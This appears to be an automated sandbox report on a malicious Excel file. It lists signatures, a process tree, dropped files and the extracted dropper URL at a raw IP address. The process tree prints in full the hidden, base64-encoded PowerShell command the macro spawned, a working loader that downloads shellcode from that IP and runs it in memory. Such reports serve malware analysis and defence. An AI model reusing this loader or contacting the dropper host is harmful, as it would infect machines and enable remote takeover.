Analysis

  • max time kernel
    47s
  • max time network
    37s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/11/2024, 21:50

General

  • Target
    cfec6baca826341f3101312b42f296509e2bcba6a32597fcf6589a3a076124b9.xls
  • Size 46KB
  • Sample241113-1qa5matkap
  • SHA256 cfec6baca826341f3101312b42f296509e2bcba6a32597fcf6589a3a076124b9
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://194.182.164.149:8080/fontawesome.woff

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\cfec6baca826341f3101312b42f296509e2bcba6a32597fcf6589a3a076124b9.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3192
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3arafkkd\3arafkkd.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2620
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7AAE.tmp" "c:\Users\Admin\AppData\Local\Temp\3arafkkd\CSCE318E16B44C941C6BDCAA884FD7C7C.TMP"
          4⤵
            PID:2512

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          3arafkkd.dll

          • Path C:\Users\Admin\AppData\Local\Temp\3arafkkd\3arafkkd.dll
          • Size 3KB
          • SHA256 80aeb6897720306b50a420ace33a5911dcb7c84754417a6ec3c49e17fe6cca31
          • MD5 SHA1 SHA512

          RES7AAE.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES7AAE.tmp
          • Size 1KB
          • SHA256 91a1a297670bf6822a648eb7e82b6d68f31523be709170bac33bacd5260c9e1f
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_2brk1vhz.4qo.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2brk1vhz.4qo.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          b8ab77100df80ab2.customDestinations-ms

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
          • Size 2KB
          • SHA256 092799540413c0a7bae84ecb75485815dbf891bc153c9c5d936b258fafa58c9f
          • MD5 SHA1 SHA512

          3arafkkd.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\3arafkkd\3arafkkd.0.cs
          • Size 631B
          • SHA256 2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319
          • MD5 SHA1 SHA512

          3arafkkd.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\3arafkkd\3arafkkd.cmdline
          • Size 369B
          • SHA256 cb90920e1f3099e168b371e1423e53ca66dfa7db310d22fee08dc352ef9962a2
          • MD5 SHA1 SHA512

          CSCE318E16B44C941C6BDCAA884FD7C7C.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\3arafkkd\CSCE318E16B44C941C6BDCAA884FD7C7C.TMP
          • Size 652B
          • SHA256 129e08af9899fcad7e21cd3feea385559d93cb81295ae3cbef5ded935af81984
          • MD5 SHA1 SHA512

          memory/3048-12-0x00007FF7D7BF0000-0x00007FF7D7C00000-memory.dmp

          memory/3048-31-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-13-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-15-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-14-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-11-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-16-0x00007FF7D7BF0000-0x00007FF7D7C00000-memory.dmp

          memory/3048-18-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-19-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-17-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-9-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-8-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-6-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-0-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

          memory/3048-32-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-1-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

          memory/3048-10-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-7-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-2-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

          memory/3048-3-0x00007FF819E6D000-0x00007FF819E6E000-memory.dmp

          memory/3048-4-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

          memory/3048-5-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

          memory/3048-65-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3048-61-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

          memory/3192-57-0x000002A7CE5F0000-0x000002A7CE5F8000-memory.dmp

          memory/3192-35-0x000002A7CE600000-0x000002A7CE622000-memory.dmp